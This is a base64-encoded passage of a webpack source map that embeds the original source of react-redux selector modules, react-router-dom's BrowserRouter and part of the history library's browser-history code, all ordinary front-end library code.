FsKG5leHRTdGF0ZSwgc3RhdGUpO1xuICAgIHN0YXRlID0gbmV4dFN0YXRlO1xuICAgIG93blByb3BzID0gbmV4dE93blByb3BzO1xuXG4gICAgaWYgKHByb3BzQ2hhbmdlZCAmJiBzdGF0ZUNoYW5nZWQpIHJldHVybiBoYW5kbGVOZXdQcm9wc0FuZE5ld1N0YXRlKCk7XG4gICAgaWYgKHByb3BzQ2hhbmdlZCkgcmV0dXJuIGhhbmRsZU5ld1Byb3BzKCk7XG4gICAgaWYgKHN0YXRlQ2hhbmdlZCkgcmV0dXJuIGhhbmRsZU5ld1N0YXRlKCk7XG4gICAgcmV0dXJuIG1lcmdlZFByb3BzO1xuICB9XG5cbiAgcmV0dXJuIGZ1bmN0aW9uIHB1cmVGaW5hbFByb3BzU2VsZWN0b3IobmV4dFN0YXRlLCBuZXh0T3duUHJvcHMpIHtcbiAgICByZXR1cm4gaGFzUnVuQXRMZWFzdE9uY2UgPyBoYW5kbGVTdWJzZXF1ZW50Q2FsbHMobmV4dFN0YXRlLCBuZXh0T3duUHJvcHMpIDogaGFuZGxlRmlyc3RDYWxsKG5leHRTdGF0ZSwgbmV4dE93blByb3BzKTtcbiAgfTtcbn1cblxuLy8gVE9ETzogQWRkIG1vcmUgY29tbWVudHNcblxuLy8gSWYgcHVyZSBpcyB0cnVlLCB0aGUgc2VsZWN0b3IgcmV0dXJuZWQgYnkgc2VsZWN0b3JGYWN0b3J5IHdpbGwgbWVtb2l6ZSBpdHMgcmVzdWx0cyxcbi8vIGFsbG93aW5nIGNvbm5lY3RBZHZhbmNlZCdzIHNob3VsZENvbXBvbmVudFVwZGF0ZSB0byByZXR1cm4gZmFsc2UgaWYgZmluYWxcbi8vIHByb3BzIGhhdmUgbm90IGNoYW5nZWQuIElmIGZhbHNlLCB0aGUgc2VsZWN0b3Igd2lsbCBhbHdheXMgcmV0dXJuIGEgbmV3XG4vLyBvYmplY3QgYW5kIHNob3VsZENvbXBvbmVudFVwZGF0ZSB3aWxsIGFsd2F5cyByZXR1cm4gdHJ1ZS5cblxuZXhwb3J0IGRlZmF1bHQgZnVuY3Rpb24gZmluYWxQcm9wc1NlbGVjdG9yRmFjdG9yeShkaXNwYXRjaCwgX3JlZjIpIHtcbiAgdmFyIGluaXRNYXBTdGF0ZVRvUHJvcHMgPSBfcmVmMi5pbml0TWFwU3RhdGVUb1Byb3BzLFxuICAgICAgaW5pdE1hcERpc3BhdGNoVG9Qcm9wcyA9IF9yZWYyLmluaXRNYXBEaXNwYXRjaFRvUHJvcHMsXG4gICAgICBpbml0TWVyZ2VQcm9wcyA9IF9yZWYyLmluaXRNZXJnZVByb3BzLFxuICAgICAgb3B0aW9ucyA9IF9vYmplY3RXaXRob3V0UHJvcGVydGllcyhfcmVmMiwgWydpbml0TWFwU3RhdGVUb1Byb3BzJywgJ2luaXRNYXBEaXNwYXRjaFRvUHJvcHMnLCAnaW5pdE1lcmdlUHJvcHMnXSk7XG5cbiAgdmFyIG1hcFN0YXRlVG9Qcm9wcyA9IGluaXRNYXBTdGF0ZVRvUHJvcHMoZGlzcGF0Y2gsIG9wdGlvbnMpO1xuICB2YXIgbWFwRGlzcGF0Y2hUb1Byb3BzID0gaW5pdE1hcERpc3BhdGNoVG9Qcm9wcyhkaXNwYXRjaCwgb3B0aW9ucyk7XG4gIHZhciBtZXJnZVByb3BzID0gaW5pdE1lcmdlUHJvcHMoZGlzcGF0Y2gsIG9wdGlvbnMpO1xuXG4gIGlmIChwcm9jZXNzLmVudi5OT0RFX0VOViAhPT0gJ3Byb2R1Y3Rpb24nKSB7XG4gICAgdmVyaWZ5U3Vic2VsZWN0b3JzKG1hcFN0YXRlVG9Qcm9wcywgbWFwRGlzcGF0Y2hUb1Byb3BzLCBtZXJnZVByb3BzLCBvcHRpb25zLmRpc3BsYXlOYW1lKTtcbiAgfVxuXG4gIHZhciBzZWxlY3RvckZhY3RvcnkgPSBvcHRpb25zLnB1cmUgPyBwdXJlRmluYWxQcm9wc1NlbGVjdG9yRmFjdG9yeSA6IGltcHVyZUZpbmFsUHJvcHNTZWxlY3RvckZhY3Rvcnk7XG5cbiAgcmV0dXJuIHNlbGVjdG9yRmFjdG9yeShtYXBTdGF0ZVRvUHJvcHMsIG1hcERpc3BhdGNoVG9Qcm9wcywgbWVyZ2VQcm9wcywgZGlzcGF0Y2gsIG9wdGlvbnMpO1xufVxuXG5cbi8vLy8vLy8vLy8vLy8vLy8vL1xuLy8gV0VCUEFDSyBGT09URVJcbi8vIC4vbm9kZV9tb2R1bGVzL3JlYWN0LXJlZHV4L2VzL2Nvbm5lY3Qvc2VsZWN0b3JGYWN0b3J5LmpzXG4vLyBtb2R1bGUgaWQgPSAxMzdcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJpbXBvcnQgd2FybmluZyBmcm9tICcuLi91dGlscy93YXJuaW5nJztcblxuZnVuY3Rpb24gdmVyaWZ5KHNlbGVjdG9yLCBtZXRob2ROYW1lLCBkaXNwbGF5TmFtZSkge1xuICBpZiAoIXNlbGVjdG9yKSB7XG4gICAgdGhyb3cgbmV3IEVycm9yKCdVbmV4cGVjdGVkIHZhbHVlIGZvciAnICsgbWV0aG9kTmFtZSArICcgaW4gJyArIGRpc3BsYXlOYW1lICsgJy4nKTtcbiAgfSBlbHNlIGlmIChtZXRob2ROYW1lID09PSAnbWFwU3RhdGVUb1Byb3BzJyB8fCBtZXRob2ROYW1lID09PSAnbWFwRGlzcGF0Y2hUb1Byb3BzJykge1xuICAgIGlmICghc2VsZWN0b3IuaGFzT3duUHJvcGVydHkoJ2RlcGVuZHNPbk93blByb3BzJykpIHtcbiAgICAgIHdhcm5pbmcoJ1RoZSBzZWxlY3RvciBmb3IgJyArIG1ldGhvZE5hbWUgKyAnIG9mICcgKyBkaXNwbGF5TmFtZSArICcgZGlkIG5vdCBzcGVjaWZ5IGEgdmFsdWUgZm9yIGRlcGVuZHNPbk93blByb3BzLicpO1xuICAgIH1cbiAgfVxufVxuXG5leHBvcnQgZGVmYXVsdCBmdW5jdGlvbiB2ZXJpZnlTdWJzZWxlY3RvcnMobWFwU3RhdGVUb1Byb3BzLCBtYXBEaXNwYXRjaFRvUHJvcHMsIG1lcmdlUHJvcHMsIGRpc3BsYXlOYW1lKSB7XG4gIHZlcmlmeShtYXBTdGF0ZVRvUHJvcHMsICdtYXBTdGF0ZVRvUHJvcHMnLCBkaXNwbGF5TmFtZSk7XG4gIHZlcmlmeShtYXBEaXNwYXRjaFRvUHJvcHMsICdtYXBEaXNwYXRjaFRvUHJvcHMnLCBkaXNwbGF5TmFtZSk7XG4gIHZlcmlmeShtZXJnZVByb3BzLCAnbWVyZ2VQcm9wcycsIGRpc3BsYXlOYW1lKTtcbn1cblxuXG4vLy8vLy8vLy8vLy8vLy8vLy9cbi8vIFdFQlBBQ0sgRk9PVEVSXG4vLyAuL25vZGVfbW9kdWxlcy9yZWFjdC1yZWR1eC9lcy9jb25uZWN0L3ZlcmlmeVN1YnNlbGVjdG9ycy5qc1xuLy8gbW9kdWxlIGlkID0gMTM4XG4vLyBtb2R1bGUgY2h1bmtzID0gMCAxIDIgMyA0IiwiZnVuY3Rpb24gX2NsYXNzQ2FsbENoZWNrKGluc3RhbmNlLCBDb25zdHJ1Y3RvcikgeyBpZiAoIShpbnN0YW5jZSBpbnN0YW5jZW9mIENvbnN0cnVjdG9yKSkgeyB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpOyB9IH1cblxuZnVuY3Rpb24gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oc2VsZiwgY2FsbCkgeyBpZiAoIXNlbGYpIHsgdGhyb3cgbmV3IFJlZmVyZW5jZUVycm9yKFwidGhpcyBoYXNuJ3QgYmVlbiBpbml0aWFsaXNlZCAtIHN1cGVyKCkgaGFzbid0IGJlZW4gY2FsbGVkXCIpOyB9IHJldHVybiBjYWxsICYmICh0eXBlb2YgY2FsbCA9PT0gXCJvYmplY3RcIiB8fCB0eXBlb2YgY2FsbCA9PT0gXCJmdW5jdGlvblwiKSA/IGNhbGwgOiBzZWxmOyB9XG5cbmZ1bmN0aW9uIF9pbmhlcml0cyhzdWJDbGFzcywgc3VwZXJDbGFzcykgeyBpZiAodHlwZW9mIHN1cGVyQ2xhc3MgIT09IFwiZnVuY3Rpb25cIiAmJiBzdXBlckNsYXNzICE9PSBudWxsKSB7IHRocm93IG5ldyBUeXBlRXJyb3IoXCJTdXBlciBleHByZXNzaW9uIG11c3QgZWl0aGVyIGJlIG51bGwgb3IgYSBmdW5jdGlvbiwgbm90IFwiICsgdHlwZW9mIHN1cGVyQ2xhc3MpOyB9IHN1YkNsYXNzLnByb3RvdHlwZSA9IE9iamVjdC5jcmVhdGUoc3VwZXJDbGFzcyAmJiBzdXBlckNsYXNzLnByb3RvdHlwZSwgeyBjb25zdHJ1Y3RvcjogeyB2YWx1ZTogc3ViQ2xhc3MsIGVudW1lcmFibGU6IGZhbHNlLCB3cml0YWJsZTogdHJ1ZSwgY29uZmlndXJhYmxlOiB0cnVlIH0gfSk7IGlmIChzdXBlckNsYXNzKSBPYmplY3Quc2V0UHJvdG90eXBlT2YgPyBPYmplY3Quc2V0UHJvdG90eXBlT2Yoc3ViQ2xhc3MsIHN1cGVyQ2xhc3MpIDogc3ViQ2xhc3MuX19wcm90b19fID0gc3VwZXJDbGFzczsgfVxuXG5pbXBvcnQgd2FybmluZyBmcm9tIFwid2FybmluZ1wiO1xuaW1wb3J0IFJlYWN0IGZyb20gXCJyZWFjdFwiO1xuaW1wb3J0IFByb3BUeXBlcyBmcm9tIFwicHJvcC10eXBlc1wiO1xuaW1wb3J0IHsgY3JlYXRlQnJvd3Nlckhpc3RvcnkgYXMgY3JlYXRlSGlzdG9yeSB9IGZyb20gXCJoaXN0b3J5XCI7XG5pbXBvcnQgUm91dGVyIGZyb20gXCIuL1JvdXRlclwiO1xuXG4vKipcbiAqIFRoZSBwdWJsaWMgQVBJIGZvciBhIDxSb3V0ZXI+IHRoYXQgdXNlcyBIVE1MNSBoaXN0b3J5LlxuICovXG5cbnZhciBCcm93c2VyUm91dGVyID0gZnVuY3Rpb24gKF9SZWFjdCRDb21wb25lbnQpIHtcbiAgX2luaGVyaXRzKEJyb3dzZXJSb3V0ZXIsIF9SZWFjdCRDb21wb25lbnQpO1xuXG4gIGZ1bmN0aW9uIEJyb3dzZXJSb3V0ZXIoKSB7XG4gICAgdmFyIF90ZW1wLCBfdGhpcywgX3JldDtcblxuICAgIF9jbGFzc0NhbGxDaGVjayh0aGlzLCBCcm93c2VyUm91dGVyKTtcblxuICAgIGZvciAodmFyIF9sZW4gPSBhcmd1bWVudHMubGVuZ3RoLCBhcmdzID0gQXJyYXkoX2xlbiksIF9rZXkgPSAwOyBfa2V5IDwgX2xlbjsgX2tleSsrKSB7XG4gICAgICBhcmdzW19rZXldID0gYXJndW1lbnRzW19rZXldO1xuICAgIH1cblxuICAgIHJldHVybiBfcmV0ID0gKF90ZW1wID0gKF90aGlzID0gX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4odGhpcywgX1JlYWN0JENvbXBvbmVudC5jYWxsLmFwcGx5KF9SZWFjdCRDb21wb25lbnQsIFt0aGlzXS5jb25jYXQoYXJncykpKSwgX3RoaXMpLCBfdGhpcy5oaXN0b3J5ID0gY3JlYXRlSGlzdG9yeShfdGhpcy5wcm9wcyksIF90ZW1wKSwgX3Bvc3NpYmxlQ29uc3RydWN0b3JSZXR1cm4oX3RoaXMsIF9yZXQpO1xuICB9XG5cbiAgQnJvd3NlclJvdXRlci5wcm90b3R5cGUuY29tcG9uZW50V2lsbE1vdW50ID0gZnVuY3Rpb24gY29tcG9uZW50V2lsbE1vdW50KCkge1xuICAgIHdhcm5pbmcoIXRoaXMucHJvcHMuaGlzdG9yeSwgXCI8QnJvd3NlclJvdXRlcj4gaWdub3JlcyB0aGUgaGlzdG9yeSBwcm9wLiBUbyB1c2UgYSBjdXN0b20gaGlzdG9yeSwgXCIgKyBcInVzZSBgaW1wb3J0IHsgUm91dGVyIH1gIGluc3RlYWQgb2YgYGltcG9ydCB7IEJyb3dzZXJSb3V0ZXIgYXMgUm91dGVyIH1gLlwiKTtcbiAgfTtcblxuICBCcm93c2VyUm91dGVyLnByb3RvdHlwZS5yZW5kZXIgPSBmdW5jdGlvbiByZW5kZXIoKSB7XG4gICAgcmV0dXJuIFJlYWN0LmNyZWF0ZUVsZW1lbnQoUm91dGVyLCB7IGhpc3Rvcnk6IHRoaXMuaGlzdG9yeSwgY2hpbGRyZW46IHRoaXMucHJvcHMuY2hpbGRyZW4gfSk7XG4gIH07XG5cbiAgcmV0dXJuIEJyb3dzZXJSb3V0ZXI7XG59KFJlYWN0LkNvbXBvbmVudCk7XG5cbkJyb3dzZXJSb3V0ZXIucHJvcFR5cGVzID0ge1xuICBiYXNlbmFtZTogUHJvcFR5cGVzLnN0cmluZyxcbiAgZm9yY2VSZWZyZXNoOiBQcm9wVHlwZXMuYm9vbCxcbiAgZ2V0VXNlckNvbmZpcm1hdGlvbjogUHJvcFR5cGVzLmZ1bmMsXG4gIGtleUxlbmd0aDogUHJvcFR5cGVzLm51bWJlcixcbiAgY2hpbGRyZW46IFByb3BUeXBlcy5ub2RlXG59O1xuXG5cbmV4cG9ydCBkZWZhdWx0IEJyb3dzZXJSb3V0ZXI7XG5cblxuLy8vLy8vLy8vLy8vLy8vLy8vXG4vLyBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVhY3Qtcm91dGVyLWRvbS9lcy9Ccm93c2VyUm91dGVyLmpzXG4vLyBtb2R1bGUgaWQgPSAxMzlcbi8vIG1vZHVsZSBjaHVua3MgPSAwIDEgMiAzIDQiLCJ2YXIgX3R5cGVvZiA9IHR5cGVvZiBTeW1ib2wgPT09IFwiZnVuY3Rpb25cIiAmJiB0eXBlb2YgU3ltYm9sLml0ZXJhdG9yID09PSBcInN5bWJvbFwiID8gZnVuY3Rpb24gKG9iaikgeyByZXR1cm4gdHlwZW9mIG9iajsgfSA6IGZ1bmN0aW9uIChvYmopIHsgcmV0dXJuIG9iaiAmJiB0eXBlb2YgU3ltYm9sID09PSBcImZ1bmN0aW9uXCIgJiYgb2JqLmNvbnN0cnVjdG9yID09PSBTeW1ib2wgJiYgb2JqICE9PSBTeW1ib2wucHJvdG90eXBlID8gXCJzeW1ib2xcIiA6IHR5cGVvZiBvYmo7IH07XG5cbnZhciBfZXh0ZW5kcyA9IE9iamVjdC5hc3NpZ24gfHwgZnVuY3Rpb24gKHRhcmdldCkgeyBmb3IgKHZhciBpID0gMTsgaSA8IGFyZ3VtZW50cy5sZW5ndGg7IGkrKykgeyB2YXIgc291cmNlID0gYXJndW1lbnRzW2ldOyBmb3IgKHZhciBrZXkgaW4gc291cmNlKSB7IGlmIChPYmplY3QucHJvdG90eXBlLmhhc093blByb3BlcnR5LmNhbGwoc291cmNlLCBrZXkpKSB7IHRhcmdldFtrZXldID0gc291cmNlW2tleV07IH0gfSB9IHJldHVybiB0YXJnZXQ7IH07XG5cbmltcG9ydCB3YXJuaW5nIGZyb20gJ3dhcm5pbmcnO1xuaW1wb3J0IGludmFyaWFudCBmcm9tICdpbnZhcmlhbnQnO1xuaW1wb3J0IHsgY3JlYXRlTG9jYXRpb24gfSBmcm9tICcuL0xvY2F0aW9uVXRpbHMnO1xuaW1wb3J0IHsgYWRkTGVhZGluZ1NsYXNoLCBzdHJpcFRyYWlsaW5nU2xhc2gsIGhhc0Jhc2VuYW1lLCBzdHJpcEJhc2VuYW1lLCBjcmVhdGVQYXRoIH0gZnJvbSAnLi9QYXRoVXRpbHMnO1xuaW1wb3J0IGNyZWF0ZVRyYW5zaXRpb25NYW5hZ2VyIGZyb20gJy4vY3JlYXRlVHJhbnNpdGlvbk1hbmFnZXInO1xuaW1wb3J0IHsgY2FuVXNlRE9NLCBhZGRFdmVudExpc3RlbmVyLCByZW1vdmVFdmVudExpc3RlbmVyLCBnZXRDb25maXJtYXRpb24sIHN1cHBvcnRzSGlzdG9yeSwgc3VwcG9ydHNQb3BTdGF0ZU9uSGFzaENoYW5nZSwgaXNFeHRyYW5lb3VzUG9wc3RhdGVFdmVudCB9IGZyb20gJy4vRE9NVXRpbHMnO1xuXG52YXIgUG9wU3RhdGVFdmVudCA9ICdwb3BzdGF0ZSc7XG52YXIgSGFzaENoYW5nZUV2ZW50ID0gJ2hhc2hjaGFuZ2UnO1xuXG52YXIgZ2V0SGlzdG9yeVN0YXRlID0gZnVuY3Rpb24gZ2V0SGlzdG9yeVN0YXRlKCkge1xuICB0cnkge1xuICAgIHJldHVybiB3aW5kb3cuaGlzdG9yeS5zdGF0ZSB8fCB7fTtcbiAgfSBjYXRjaCAoZSkge1xuICAgIC8vIElFIDExIHNvbWV0aW1lcyB0aHJvd3Mgd2hlbiBhY2Nlc3Npbmcgd2luZG93Lmhpc3Rvcnkuc3RhdGVcbiAgICAvLyBTZWUgaHR0cHM6Ly9naXRodWIuY29tL1JlYWN0VHJhaW5pbmcvaGlzdG9yeS9wdWxsLzI4OVxuICAgIHJldHVybiB7fTtcbiAgfVxufTtcblxuLyoqXG4gKiBDcmVhdGVzIGEgaGlzdG9yeSBvYmplY3QgdGhhdCB1c2VzIHRoZSBIVE1MNSBoaXN0b3J5IEFQSSBpbmNsdWRpbmdcbiAqIHB1c2hTdGF0ZSwgcmVwbGFjZVN0YXRlLCBhbmQgdGhlIHBvcHN0YXRlIGV2ZW50LlxuICovXG52YXIgY3JlYXRlQnJvd3Nlckhpc3RvcnkgPSBmdW5jdGlvbiBjcmVhdGVCcm93c2VySGlzdG9yeSgpIHtcbiAgdmFyIHByb3BzID0gYXJndW1lbnRzLmxlbmd0aCA+IDAgJiYgYXJndW1lbnRzWzBdICE9PSB1bmRlZmluZWQgPyBhcmd1bWVudHNbMF0gOiB7fTtcblxuICBpbnZhcmlhbnQoY2FuVXNlRE9NLCAnQnJvd3NlciBoaXN0b3J5IG5lZWRzIGEgRE9NJyk7XG5cbiAgdmFyIGdsb2JhbEhpc3RvcnkgPSB3aW5kb3cuaGlzdG9yeTtcbiAgdmFyIGNhblVzZUhpc3RvcnkgPSBzdXBwb3J0c0hpc3RvcnkoKTtcbiAgdmFyIG5lZWRzSGFzaENoYW5nZUxpc3RlbmVyID0gIXN1cHBvcnRzUG9wU3RhdGVPbkhhc2hDaGFuZ2UoKTtcblxuICB2YXIgX3Byb3BzJGZvcmNlUmVmcmVzaCA9IHByb3BzLmZvcmNlUmVmcmVzaCxcbiAgICAgIGZvcmNlUmVmcmVzaCA9IF9wcm9wcyRmb3JjZVJlZnJlc2ggPT09IHVuZGVmaW5lZCA/IGZhbHNlIDogX3Byb3BzJGZvcmNlUmVmcmVzaCxcbiAgICAgIF9wcm9wcyRnZXRVc2VyQ29uZmlybSA9IHByb3BzLmdldFVzZXJDb25maXJtYXRpb24sXG4gICAgICBnZXRVc2VyQ29uZmlybWF0aW9uID0gX3Byb3BzJGdldFVzZXJDb25maXJtID09PSB1bmRlZmluZWQgPyBnZXRDb25maXJtYXRpb24gOiBfcHJvcHMkZ2V0VXNlckNvbmZpcm0sXG4gICAgICBfcHJvcHMka2V5TGVuZ3RoID0gcHJvcHMua2V5TGVuZ3RoLFxuICAgICAga2V5TGVuZ3RoID0gX3Byb3BzJGtleUxlbmd0aCA9PT0gdW5kZWZpbmVkID8gNiA6IF9wcm9wcyRrZXlMZW5ndGg7XG5cbiAgdmFyIGJhc2VuYW1lID0gcHJvcHMuYmFzZW5hbWUgPyBzdHJpcFRyYWlsaW5nU2xhc2goYWRkTGVhZGluZ1NsYXNoKHByb3BzLmJhc2VuYW1lKSkgOiAnJztcblxuICB2YXIgZ2V0RE9NTG9jYXRpb24gPSBmdW5jdGlvbiBnZXRET01Mb2NhdGlvbihoaXN0b3J5U3RhdGUpIHtcbiAgICB2YXIgX3JlZiA9IGhpc3RvcnlTdGF0ZSB8fCB7fSxcbiAgICAgICAga2V5ID0gX3JlZi5rZXksXG4gICAgICAgIHN0YXRlID0gX3JlZi5zdGF0ZTtcblxuICAgIHZhciBfd2luZG93JGxvY2F0aW9uID0gd2luZG93LmxvY2F0aW9uLFxuICAgICAgICBwYXRobmFtZSA9IF93aW5kb3ckbG9jYXRpb24ucGF0aG5hbWUsXG4gICAgICAgIHNlYXJjaCA9IF93aW5kb3ckbG9jYXRpb24uc2VhcmNoLFxuICAgICAgICBoYXNoID0gX3dpbmRvdyRsb2NhdGlvbi5oYXNoO1xuXG5cbiAgICB2YXIgcGF0aCA9IHBhdGhuYW1lICsgc2VhcmNoICsgaGFzaDtcblxuICAgIHdhcm5pbmcoIWJhc2VuYW1lIHx8IGhhc0Jhc2VuYW1lKHBhdGgsIGJhc2VuYW1lKSwgJ1lvdSBhcmUgYXR0ZW1wdGluZyB0byB1c2UgYSBiYXNlbmFtZSBvbiBhIHBhZ2Ugd2hvc2UgVVJMIHBhdGggZG9lcyBub3QgYmVnaW4gJyArICd3aXRoIHRoZSBiYXNlbmFtZS4gRXhwZWN0ZWQgcGF0aCBcIicgKyBwYXRoICsgJ1wiIHRvIGJlZ2luIHdpdGggXCInICsgYmFzZW5hbWUgKyAnXCIuJyk7XG5cbiAgICBpZiAoYmFzZW5hbWUpIHBhdGggPSBzdHJpcEJhc2VuYW1lKHBhdGgsIGJhc2VuYW1lKTtcblxuICAgIHJldHVybiBjcmVhdGVMb2NhdGlvbihwYXRoLCBzdGF0ZSwga2V5KTtcbiAgfTtcblxuICB2YXIgY3JlYXRlS2V5ID0gZnVuY3Rpb24gY3JlYXRlS2V5KCkge1xuICAgIHJldHVybiBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwga2V5TGVuZ3RoKTtcbiAgfTtcblxuICB2YXIgdHJhbnNpdGlvbk1hbmFnZXIgPSBjcmVhdGVUcmFuc2l0aW9uTWFuYWdlcigpO1xuXG4gIHZhciBzZXRTdGF0ZSA9IGZ1bmN0aW9uIHNldFN0YXRlKG5leHRTdGF0ZSkge1xuICAgIF9leHRlbmRzKGhpc3RvcnksIG5leHRTdGF0ZSk7XG5cbiAgICBoaXN0b3J5Lmxlbmd0aCA9IGdsb2JhbEhpc3RvcnkubGVuZ3RoO1xuXG4gICAgdHJhbnNpdGlvbk1hbmFnZXIubm90aWZ5TGlzdGVuZXJzKGhpc3RvcnkubG9jYXRpb24sIGhpc3RvcnkuYWN0aW9uKTtcbiAgfTtcblxuICB2YXIgaGFuZGxlUG9wU3RhdGUgPSBmdW5jdGlvbiBoYW5kbGVQb3BTdGF0ZShldmVudCkge1xuICAgIC8vIElnbm9yZSBleHRyYW5lb3VzIHBvcHN0YXRlIGV2ZW50cyBpbiBXZWJLaXQuXG4gICAgaWYgKGlzRXh0cmFuZW91c1BvcHN0YXRlRXZlbnQoZXZlbnQpKSByZXR1cm47XG5cbiAgICBoYW5kbGVQb3AoZ2V0RE9NTG9jYXRpb24oZXZlbnQuc3RhdGUpKTtcbiAgfTtcblxuICB2YXIgaGFuZGxlSGFzaENoYW5nZSA9IGZ1bmN0aW9uIGhhbmRsZUhhc2hDaGFuZ2UoKSB7XG4gICAgaGFuZGxlUG9wKGdldERPTUxvY2F0aW9uKGdldEhpc3RvcnlTdGF0ZSgpKSk7XG4gIH07XG5cbiAgdmFyIGZvcmNlTmV4dFBvcCA9IGZhbHNlO1xuXG4gIHZhciBoYW5kbGVQb3AgPSBmdW5jdGlvbiBoYW5kbGVQb3AobG9jYXRpb24pIHtcbiAgICBpZiAoZm9yY2VOZXh0UG9wKSB7XG4gICAgICBmb3JjZU5leHRQb3AgPSBmYWxzZTtcbiAgICAgIHNldFN0YXRlKCk7XG4gICAgfSBlbHNlIHtcbiAgICAgIHZhciBhY3Rpb24gPSAnUE9QJztcblxuICAgICAgdHJhbnNpdGlvbk1hbmFnZXIuY29uZmlybVRyYW5zaXRpb25Ubyhsb2NhdGlvbiwgYWN0aW9uLCBnZXRVc2VyQ29uZmlybWF0aW9uLCBmdW5jdGlvbiAob2spIHtcbiAgICAgICAgaWYgKG9rKSB7XG4gICAgICAgICAgc2V0U3RhdGUoeyBhY3Rpb246IGFjdGlvbiwgbG9jYXRpb246IGxvY2F0aW9uIH0pO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgIHJldmVydFBvcChsb2NhdGlvbik7XG4gICAgICAgIH1cbiAgICAgIH0pO1xuICAgIH1cbiAgfTtcblxuICB2YXIgcmV2ZXJ0UG9wID0gZnVuY3Rpb24gcmV2ZXJ0UG9wKGZyb21Mb2NhdGlvbikge1xuICAgIHZhciB0b0xvY2F0aW9uID0gaGlzdG9yeS5sb2NhdGlvbjtcblxuICAgIC8vIFRPRE86IFdlIGNvdWxkIHByb2JhYmx5IG1ha2UgdGhpcyBtb3JlIHJlbGlhYmxlIGJ5XG4gICAgLy8ga2VlcGluZyBhIGxpc3Qgb2Yga2V5cyB3ZSd2ZSBzZWVuIGluIHNlc3Npb25TdG9yYWdlLlxuICAgIC8vIEluc3RlYWQsIHdlIGp1c3QgZGVmYXVsdCB0byAwIGZvciBrZXlzIHdlIGRvbid0IGtub3cuXG5cbiAgICB2YXIgdG9JbmRleCA9IGFsbEtleXMuaW5kZXhPZih0b0xvY2F0aW9uLmtleSk7XG5cbiAgICBpZiAodG9JbmRleCA9PT0gLTEpIHRvSW5kZXggPSAwO1xuXG4gICAgdmFyIGZyb21JbmRleCA9IGFsbEtleXMuaW5kZXhPZihmcm9tTG9jYXRpb24ua2V5KTtcblxuICAgIGlmIChmcm9tSW5kZXggPT09IC0xKSBmcm9tSW5kZXggPSAwO1xuXG4gICAgdmFyIGRlbHRhID0gdG9JbmRleCAtIGZyb21JbmRleDtcblxuICAgIGlmIChkZWx0YSkge1xuICAgICAgZm9yY2VOZXh0UG9wID0gdHJ1ZTtcbiAgICAgIGdvKGRlbHRhKTtcbiAgICB9XG4gIH07XG5cbiAgdmFyIGluaXRpYWxMb2NhdGlvbiA9IGdldERPTUxvY2F0aW9uKGdldEhpc3RvcnlTdGF0ZSgpKTtcbiAgdmFyIGFsbEtleXMgPSBbaW5pdGlhbExvY2F0aW9uLmtleV07XG5cbiAgLy8gUHVibGljIGludGVyZmFjZVxuXG4gIHZhciBjcmVhdGVIcmVmID0gZnVuY3Rpb24gY3JlYXRlSHJlZihsb2NhdGlvbikge1xuICAgIHJldHVybiBiYXNlbmFtZSArIGNyZWF0ZVBhdGgobG9jYXRpb24pO1xuICB9O1xuXG4gIHZhciBwdXNoID0gZnVuY3Rpb24gcHVzaChwYXRoLCBzdGF0ZSkge1xuICAgIHdhcm5pbmcoISgodHlwZW9mIHBhdGggPT09ICd1bmRlZmluZWQnID8gJ3VuZGVmaW5lZCcgOiBfdHlwZW9mKHBhdGgpKSA9PT0gJ29iamVjdCcgJiYgcGF0aC5zdGF0ZSAhPT0gdW5kZWZpbmVkICYmIHN0YXRlICE9PSB1bmRlZmluZWQpLCAnWW91IHNob3VsZCBhdm9pZCBwcm92aWRpbmcgYSAybmQgc3RhdGUgYXJndW1lbnQgdG8gcHVzaCB3aGVuIHRoZSAxc3QgJyArICdhcmd1bWVudCBpcyBhIGxvY2F0aW9uLWxpa2Ugb2JqZWN0IHRoYXQgYWxyZWFkeSBoYXMgc3RhdGU7IGl0IGlzIGlnbm9yZWQnKTtcblxuICAgIHZhciBhY3Rpb24gPSAnUFVTSCc7XG4gICAgdmFyIGxvY2F0aW9uID0gY3JlYXRlTG9jYXRpb24ocGF0aCwgc3RhdGUsIGNyZWF0ZUtleSgpLCBoaXN0b3J5LmxvY2F0aW9uKTtcblxuICAgIHRyYW5zaXRpb25NYW5hZ2VyLmNvbmZpcm1UcmFuc2l0aW9uVG8obG9jYXRpb24sIGFjdGlvbiwgZ2V0VXNlckNvbmZpcm1hdGlvbiwgZnVuY3Rpb24gKG9rKSB7XG4gICAgICBpZiAoIW9rKSByZXR1cm47XG5cbiAgICAgIHZhciBocmVmID0gY3JlYXRlSHJlZihsb2NhdGlvbik7XG4gICAgICB2YXIga2V5ID0gbG9jYXRpb24ua2V5LFxuICAgICAgICAgIHN0YXRlID0gbG9jYXRpb24uc3RhdGU7XG5cblxuICAgICAgaWYgKGNhblVzZUhpc3RvcnkpIHtcbiAgICAgICAgZ2xvYmFsSGlzdG9yeS5wdXNoU3RhdGUoeyBrZXk6IGtleSwgc3RhdGU6IHN0YXRlIH0sIG51bGwsIGhyZWYpO1xuXG4gICAgICAgIGlmIChmb3JjZVJlZnJlc2gpIHtcbiAgICAgICAgICB3aW5kb3cubG9jYXRpb24uaHJlZiA9IGhyZWY7XG4gICAgICAgIH0gZWxzZSB7XG4gICAgICAgICAgdmFyIHByZXZJbmRleCA9IGFsbEtleXMuaW5kZXhPZihoaXN0b3J5LmxvY2F0aW9uLmtleSk7XG4gICAgICAgICAgdmFyIG5leHRLZXlzID0gYWxsS2V5cy5zbGljZSgwLCBwcmV2SW5kZXggPT09IC0xID8gMCA6IHByZXZJbmRleCArIDEpO1xuXG4gICAgICAgICAgbmV4dEtleXMucHVzaChsb2NhdGlvbi5rZXkpO1xuICAgICAgICAgIGFsbEtleXMgPSBuZXh0S2V5cztcblxuICAgICAgICAgIHNldFN0YXRlKHsgYWN0aW9uOiBhY3Rpb24sIGxvY2F0aW9uOiBsb2NhdGlvbiB9KTtcbiAgICAgICAgfVxuICAgICAgfSBlbHNlIHtcbiAgICAgICAgd2FybmluZyhzdGF0ZSA9PT0gdW5kZWZpbmVkLCAnQnJvd3NlciBoaXN0b3J5